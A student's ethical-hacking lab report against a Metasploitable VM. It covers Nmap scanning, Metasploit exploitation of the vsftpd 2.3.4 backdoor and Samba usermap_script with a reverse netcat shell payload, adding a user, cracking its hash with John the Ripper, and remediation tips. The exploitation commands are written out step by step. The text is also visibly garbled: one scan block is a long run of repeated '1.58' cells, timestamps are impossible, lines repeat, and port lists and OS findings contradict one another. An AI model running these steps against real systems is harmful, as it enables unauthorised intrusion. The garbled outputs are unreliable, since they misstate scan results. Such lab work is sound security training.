# **!** Ethical Hacking Project

# Scanning and Enumerating a Local Network with Nmap Name: Md. Sahbaj ERP: 6602412

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Semester: 6th

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Project: Simulating	Real-World	Network	Exploitation	and Defe	nse

Project Objectives:

To understand and apply techniques in:

- Network scanning
- Service enumeration
- Vulnerability exploitation
- Privilege escalation
- Password cracking
- Security remediation

## 2 Tools Used

- Kali Linux (Attacker Machine)
- Metasploitable (Target Machine)
- Nmap
- John the Ripper

#### Task 1: Basic Network Scan

```
rask 1: Basic Network Scan

| Tarting Namp | 1.57 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 | 1.58 |
```

Command: nmap -v 192.168.202.0/24

#### **Targeted Output**

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 09:24 EDT
Initiating Ping Scan at 09:24
Scanning 192.168.202.129 [4 ports]
Completed Ping Scan at 09:24, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:24
Completed Parallel DNS resolution of 1 host. at 09:24, 0.04s elapsed
Initiating SYN Stealth Scan at 09:24
Scanning 192.168.202.129 [1000 ports]
Discovered open port 80/tcp on 192.168.202.129
Discovered open port 443/tcp on 192.168.202.129
Completed SYN Stealth Scan at 09:24, 4.66s elapsed (1000 total ports)
Nmap scan report for 192.168.202.129
Host is up (0.012s latency).
Not shown: 997 filtered tcp ports (no-response), 1 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.90 seconds
            Raw packets sent: 2004 (88.152KB) | Rcvd: 7 (360B)
```

#### Task 2: Reconnaissance

Task 1: Scanning for hidden ports

Command: nmap -v -p- 192.168.202.129

```
PORT.
         STATE SERVICE
21/tcp
         open ftp
         open ssh
22/tcp |
23/tcp
        open telnet
25/tcp
         open smtp
53/tcp
         open donain
80/tcp open http
111/tcp open rpcbind
139/tcp
        open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open miregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distood
5432/tcp open
              postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open msgsrvr
41664/tcp open unknown
47961/tcp open unknown
51188/tcp open unknown
53062/tcp open unknown
MAC Address: 00:0C:29:9B:D8:B1 (VMware)
```

#### Total Hidden Ports 7

8787/tcp 41004/tcp 47901/tcp 51188/tcp 53062/tcp 6105/tcp 5907/tcp

#### 2.2 Service Version Detection

Command: nmap -v -sV 192.168.202.129

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 09:35 EDT
NSE: Loaded 47 scripts for scanning.
Initiating Ping Scan at 09:35
Scanning 192.168.202.129 [4 ports]
Completed Ping Scan at 09:35, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host, at 09:35
Completed Parallel DNS resolution of 1 host. at 09:35, 0.04s elapsed
Initiating SYN Stealth Scan at 09:35
Scanning 192.168.202.129 [1000 ports]
Discovered open port 80/tcp on 192.168.202.129
Discovered open port 443/tcp on 192.168.202.129
Completed SYN Stealth Scan at 09:35, 4.68s elapsed (1000 total ports)
Initiating Service scan at 09:35
Scanning 2 services on 192.168.202.129
Completed Service scan at 09:35, 23.81s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.202.129.
Initiating NSE at 09:35
Completed NSE at 09:35, 1.14s elapsed
Initiating NSE at 09:35
Completed NSE at 09:35, 1.06s elapsed
Nmap scan report for 192.168.202.129
Host is up (0.019s latency).
Not shown: 997 filtered tcp ports (no-response), 1 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE
                        VERSION
80/tcp open http-proxy (bad gateway)
443/tcp open ssl/https
```

## Command: nmap -v -0 192.168.202.129

#### 2.3 Operating System Detection

```
Initiating Ping Scan at 99:44
Scanning 192.168.202.129 [4 ports]
Completed Ping Scan at 69:44, 0.03 c elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 49:44
Completed Parallel DNS resolution of 1 host. at 49:44
Completed Parallel DNS resolution of 1 host. at 49:44
Completed Parallel DNS resolution of 1 host. at 49:44
Scanning 192.168.202.129 [1000 ports]
Discovered open port 443/tcp on 192.168.202.129
Discovered open port 443/tcp on 192.168.202.129
Completed SYN Stealth Scan at 69:44
Scanning 192.168.202.129 [1000 ports]
Discovered open port 443/tcp on 192.168.202.129
Completed SYN Stealth Scan at 69:44, 5.218 elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.202.129
Retrying OS detection (try #2) against 192.168.202.129
Nmap scan report for 192.168.202.129
Nmap scan report for 192.168.202.129
Nnot shown: 997 filtered tcp ports (no-response), 1 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|broadband router|proxy server
Running (JUST GUESSING): Google Android 7.X (91%), Linux 3.X (91%), OneAccess embedded (89%), Blue Coat embedded (85%)
OS CPE: cper/o:google:android:7.1.2 cper:/o:linux:linux_kernel:3.10 cper:/h:noneaccess:1641 cpe:/h:bluecoat:packetShaper
Aggressive OS guesses: Android 7.1.2 (Linux 3.10) (91%), OneAccess 1641 router (89%), Blue Coat PacketShaper appliance (85%)
No exact OS matches for host (test conditions non-ideal).
TCP Sequence Prediction: Difficulty=26 (Good luck!)
IP ID Sequence Prediction: Difficulty=26 (Good luck!)
IP ID Sequence Prediction: Difficulty=26 (Good luck!)
IP ID Sequence Prediction: Difficulty=26 (Good luck!)
Nmap done: 1 IP address (1 host up) scanned in 10.49 seconds
Raw packets sent: 2096 (97.384KB) | Rcvd: 19 (968B)
```

#### Task 3: Enumeration Summary

Target IP Address: 192.168.202.129

Operating System: Linux 2.6.9 - 2.6.33

MAC Address: 00:0C:29:9B:D8:B1 (VMware)

Device Type: General-purpose

Open Services (Excluding Hidden Ports)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1

**Hidden Services** 

8787/tcp open drb Ruby DRb RMI

47436/tcp open mountd 1-3 (RPC #100005)

50918/tcp open java-rmi GNU Classpath grmiregistry

```
59995/tcp open nlockmgr 1-4 (RPC #100021)
60004/tcp open status 1 (RPC #100024)
```

Task 4: Exploitation of Services

```
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting i
with setg RHOSTS x.x.x.x
           metasploit v6.4.56-dev
2505 exploits - 1291 auxiliary - 431 post
1610 payloads - 49 encoders - 13 nops
9 evasion
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/unix/ftp/vsftpd 234_backdoor
Matching Modules
                                                       Disclosure Date Rank
                                                                                           Check Description
   # Name
      exploit/unix/ftp/vsftpd 234 backdoor 2011-07-03
                                                                             excellent No
                                                                                                    VSFTPD v2.3.4 Backdoo
  Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_23
Using exploit/unix/ftp/vsftpd_234_backdoor
No payload configured, defaulting to cmd/unix/interact
usf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.202.129
RHOSTS ⇒ 192.168.202.129
```

### 1.vsftpd 2.3.4: Exploited via known backdoor vulnerability.

### 2. smb 3.0.20-dbian (Port 443)

```
Goor) > use auxiliary/scanner/smb/smb_version
n) > use exploit/multi/samba/usermap_script
msf6 auxiliary(
 * No payload configured, defaulting
                                          to cmd/unix/reverse_netcat
msf6 exploit(
                                           ) > show options
Module options (exploit/multi/samba/usermap_script):
   Name
             Current Setting Required Description
   CHOST
                                           The local client address
                                no
   CPORT
                                           The local client port
                                no
                                           A proxy chain of format type:host:port[,type:host:port][...]
   Proxies
                                           The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RHOSTS
                                yes
   RPORT
             139
                                           The target port (TCP)
                                ves
Payload options (cmd/unix/reverse_netcat):
           Current Setting Required Description
   Name
   LHOST 172.16.26.113
LPORT 4444
                                         The listen address (an interface may be specified)
                              yes
                                         The listen port
Exploit target:
   Id
       Name
        Automatic
View the full module info with the info, or info -d command.
```

# Task 5: Creating a Privileged User Command: adduser mdsahbaj Password: sahbaj /etc/passwd Entry: mdsahbaj:x:1001:1001:mdsahbaj,,,;/home/mdsahbaj:/bin/bash /etc/shadow Hash: mds ahbaj: \$0\$7nWuasBV\$pr6ZAFfqT9NcHv1pPX8Rj.Task 6: Cracking Password Hash mdsahbaj:\$0\$7nWuasBV\$pr6ZAFfqT9NcHv1pPX8Rj. Stored Hash in `hashes.txt`:

# **Cracking Commands:**

john hashes.txt

john hashes.txt --show

Cracked Password: sahbaj

2 Task 7: Remediation and Recommendations
Identified Vulnerabilities & Fixes:
1. vsftpd 2.3.4 – vulnerable backdoor
Fix: Upgrade to vsftpd 3.0.5
2. OpenSSH 4.7p1 – outdated, brute-forceable Fix: Upgrade to OpenSSH 9.6
3. Java RMI Service – allows remote execution  Fix: Disable or firewall restrict access
2 Major Learnings
- Applied Nmap for full-range scanning and OS detection.
- Understood enumeration and real-world exploitation techniques.
- Gained skills in privilege escalation and hash cracking.
- Learned how to evaluate vulnerabilities and apply proper remediation.
This project simulates a real world penetration test using open source tools and is inteded strictly for educational purposes.